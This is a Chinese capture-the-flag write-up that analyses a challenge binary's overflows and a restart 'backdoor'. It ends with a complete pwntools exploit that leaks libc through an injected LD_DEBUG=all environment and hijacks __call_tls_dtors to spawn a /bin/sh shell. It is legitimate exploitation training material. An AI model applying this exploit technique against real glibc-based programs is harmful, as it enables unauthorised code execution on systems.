前言
这道题目是广州强网杯的一道题目，利用方式比较巧妙，题目给了两个字节溢出、和一个任意地址写，通过这些漏洞可以有一些利用的方法，但是有一种方法是很巧妙的，也是出题人想让我们利用的方式，程序本身预置了后门函数，后门函数以test身份重启了自身，然后exit了，而test身份是有一个任意地址写的。
分析
程序经过ida分析后，发现程序有两个参数运行，一个是test，一个real，test会有一个任意地址写，real会进入主程序。test任意写如下：
void __noreturn sub_1CB0()
{
char *s[7]; // [rsp+0h] [rbp-38h] BYREF
s[1] = (char *)__readfsqword(0x28u);
puts("[+] Test remote IO.");
__printf_chk(1LL, "Where: ");
s[0] = 0LL;
input(s, 8LL);
__printf_chk(1LL, "Input: ");
input(s[0], 144LL);
__printf_chk(1LL, "Output: ");
puts(s[0]);
exit(0);
}
real主程序如下：
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
const char *v4; // rbp
const char *v5; // r15
int v6; // ebx
__int128 buf; // [rsp+110h] [rbp-58h] BYREF
unsigned __int64 v8; // [rsp+128h] [rbp-40h]
v8 = __readfsqword(0x28u);
if ( a1 != 2 )
goto LABEL_2;
sub_16C0();
v4 = a2[1];
if ( !strcmp(v4, "test") )
sub_1CB0();
if ( strcmp(v4, "real") )
{
LABEL_2:
puts("Invalid.");
exit(0);
}
sub_1770();
buf = 0LL;
*(_QWORD *)&::buf[48] = a3; //envp
*(_QWORD *)&::buf[56] = a2;
__printf_chk(1LL, "User: ");
input(&buf, 13LL);
if ( !strcmp((const char *)&buf, "Administrator") )
{
puts("Login failed!");
exit(0);
}
puts("Login successful!");
while ( 1 )
{
LABEL_7:
v5 = aAddCard;
v6 = 0;
sub_1C20(); // menu
input(::buf, 50LL); // 2 bytes overflow can overflow envp
while ( strcmp(::buf, v5) )
{
++v6;
v5 += 16;
if ( v6 == 6 )
{
puts("Illegal.");
goto LABEL_7;
}
}
off_4080[v6](); // 函数的数组
}
}
主程序将a3(envp)放到了buf[48]的位置，但是在输入buf的时候大小是50，存在2字节溢出可以覆盖envp，menu所涉及的函数如下
.data:0000000000004080 off_4080 dq offset add_card ; DATA XREF: main+102↑o
.data:0000000000004088 dq offset Remove_Card
.data:0000000000004090 dq offset Write_Card
.data:0000000000004098 dq offset Read_Card
.data:00000000000040A0 dq offset Bye_bye
.data:00000000000040A8 dq offset sub_15C0 ; gift
.data:00000000000040A8 _data ends
add函数如下：
int add_card()
{
int v0; // ebx
_QWORD *i; // rax
int v2; // ebp
__int64 v3; // rax
void *v4; // rax
int *v5; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-20h]
v0 = 0;
v7 = __readfsqword(0x28u);
for ( i = &unk_4140; i[1] || *(_DWORD *)i; i += 2 )
{
if ( ++v0 == 16 )
return __readfsqword(0x28u) ^ v7;
}
__printf_chk(1LL, "Size: ");
v2 = input_size();
if ( (unsigned int)(v2 - 17) > 0x4F )
return __readfsqword(0x28u) ^ v7;
v4 = calloc(1uLL, v2);
v5 = (int *)((char *)&unk_4140 + 16 * v0);
*((_QWORD *)v5 + 1) = v4;
if ( !v4 )
exit(-1);
*v5 = v2;
__printf_chk(1LL, "Card: ");
input(*((void **)v5 + 1), *v5);
LODWORD(v3) = puts("OK.");
return v3;
}
__int64 input_size()
{
char v1[24]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u);
*(_OWORD *)v1 = 0LL;
*(_QWORD *)&v1[16] = 0LL;
input(v1, 25LL); // 1 byte overflow
return strtol(v1, 0LL, 10);
}
这里input size有一字节溢出。此外程序还有一个隐藏的gift函数，可以泄露栈地址的最后两个字节
unsigned __int64 sub_15C0()
{
int v1; // ebp
int v2; // eax
int v3; // edx
int buf; // [rsp+4h] [rbp-24h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-20h]
v5 = __readfsqword(0x28u);
if ( !unk_4120 )
{
unk_4120 = 1;
v1 = open("/dev/urandom", 0);
read(v1, &buf, 4uLL);
close(v1);
v2 = buf & 3;
switch ( v2 )
{
case 2:
buf = 0xFFF;
v3 = 0xFFF;
break;
case 3:
buf = 0xFFFF;
v3 = 0xFFFF;
break;
case 1:
buf = 0xFF;
v3 = 0xFF;
break;
default:
buf = 0xF;
v3 = 0xF;
break;
}
__printf_chk(1LL, "Gift: %d\n", (unsigned int)&buf & v3); // 2 bytes leak stack
}
return __readfsqword(0x28u) ^ v5;
}
除此之外，可以在程序初始化中有一个backdoor函数，可以以test参数重启程序，获得一次任意写能力：
unsigned int sub_16C0()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
signal(6, (__sighandler_t)handler); <----backdoor>
signal(14, (__sighandler_t)sub_14D0);
return alarm(0x28u);
}
void __noreturn handler() //以test重启自身
{
__int64 v0; // rax
char v1[88]; // [rsp+0h] [rbp-78h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-20h]
v2 = __readfsqword(0x28u);
v0 = *(_QWORD *)&buf[56];
if ( v0 )
{
**(_DWORD **)(v0 + 8) = 0x74736574; // test 参数
*(_OWORD *)v1 = 0LL;
*(_OWORD *)&v1[16] = 0LL;
*(_OWORD *)&v1[32] = 0LL;
*(_OWORD *)&v1[48] = 0LL;
*(_OWORD *)&v1[64] = 0LL;
readlink("/proc/self/exe", v1, 79uLL); //复制符号到v1
execve(v1, *(char *const **)&buf[56], *(char *const **)&buf[48]);// 重新执行程序
exit(0); // 退出
}
exit(-1);
}
利用思路
经过整理这些漏洞和后门，可以整理这样一个利用思路：
LD_DEBUG=all 这个环境变量，预示着程序执行时打印loader的信息，通过里面的信息可以获取libc地址。
首先利用 gift 功能泄露栈地址最后 2 字节，然后在栈上布置 LD_DEBUG=all 字串。通过全局变量的 2 字节溢出漏洞修改 envp 指针的最后2字节，使其指向栈上的 LD_DEBUG=all 字串指针。然后通过 1 字节的栈溢出触发 abort，从而使得程序重启并进入后门（此时相当于控制了环境变量为 LD_DEBUG=all）。
│ 0x55a99e08559f mov rdi, rbp
► 0x55a99e0855a2 call execve@plt <execve@plt>
path: 0x7ffd0ba916c0 ◂— '/home/yrl/exp/mini'
argv: 0x7ffd0ba92348 —▸ 0x7ffd0ba93117 ◂— 0x7400696e696d2f2e /* './mini' */
envp: 0x7ffd0ba920f0 —▸ 0x7ffd0ba92200 ◂— 'LD_DEBUG=all'
0x55a99e0855a7 xor edi, edi
程序在重启时，就会打印调试信息，泄露libc地址，由于 libc 2.31 的 one_gadget 已经无法使用，所以最后利用任意地址写去劫持 exit_handlers 函数。
exit_handlers其实是用的stl结构，因为exit_handlers会用到stl结构，其中在__call_tls_dtors中会有一个call rax;的调用，在此之前我们只要将eax修改为system，再将其参数修改为‘/bin/sh’就行。往上追溯可以看到eax是由
0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11
0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
控制，我们可以通过栈控制rax为0，然后fs:[0x30]为system地址就行，参数rdi通过mov rdi, qword ptr [rbp + 8]控制，改为/bin/sh，所以就可通过call rax;来getshell，值得注意的是fs寄存器我们看不了，就要确定fs:[0x30]到底在哪里，这就需要一定的经验，大致知道 tls 在mapped 那段地址上（即libc最后的那段没有名字的地址段上），exp的target的偏移是在fs:[0x30]附近，通过布栈根据target便宜来找fs:[0x30]具体在哪里，具体这个偏移只能不同版本，慢慢靠经验找；现在 glibc2.31 还是固定的，很好找，以前 2.27 每次重启都会变，所以打远程还要爆破
exp
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
#context.terminal = ["/usr/bin/tmux","sp","-h"]
# io = remote('127.0.0.1', 49158)
# libc = ELF('./libc-2.31.so')
io = process(['./mini', 'real'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
sla('User: ', 'LD_DEBUG=all') # 将LD_DEBUG=all放到栈上
# dbg()
# pause()
sla('>> ', '+_@*@&!$') # 触发后门gift，获取栈的最后两个字节
ru('Gift: ') # leak stack 2bytes
re = int(rl(), 10)
lg('re')
offset = re + 0x2c # 通过泄露的两个字节确定LD_DEBUG=all的位置
lg('offset')
assert(offset & 0xf000) # 确保两个字节
sa('>> ', 'A'*0x30+p16(offset)) # modify stack address envp (2bytes)-> LD_DENUG=all 通过两个字节溢出修改envp的最后两个字节使其指向LD_DEBUG=all
sla('>> ', 'Read_Card')
# dbg()
# pause()
sa('Index: ', 'B'*0x19) # 1byte onerflow -> trigger abort 通过一字节溢出修改返回地址为非法地址，触发abort，使系统捕获异常进入后门函数，重启以test参数程序
ru('file=libc.so.6 [0];') # test参数重启时打印debug信息，泄露libc，之后会有一个任意地址写
ru('base: ')
libc_base = int(ru(' size:'), 16)
lg('libc_base')
'''
0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11
0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
0x7f9c9bd98435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
0x7f9c9bd98439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
► 0x7f9c9bd9843d <__call_tls_dtors+61> call rax <system>
command: 0x7f9c9bf41568 ◂— 0x68732f6e69622f /* '/bin/sh' */
'''
target = libc_base + 0x1f34e8 # exit_handlers-> __call_tls_dtors->call rax; 确定劫持位置附近，通过偏移找到fs:[0x30]，和rbp+8的位置，在rbp+8位置写入指向/bin/sh的指针
lg('target')
sla('Where: ', p64(target)[:-1])
paylaod = p64(target+0x70)
paylaod += 14*p64(0)
paylaod += p64(target+0x80)
paylaod += '/bin/sh\x00'
paylaod += p64(libc_base + libc.sym['system'])
sla('Input: ', paylaod[:-1])
irt()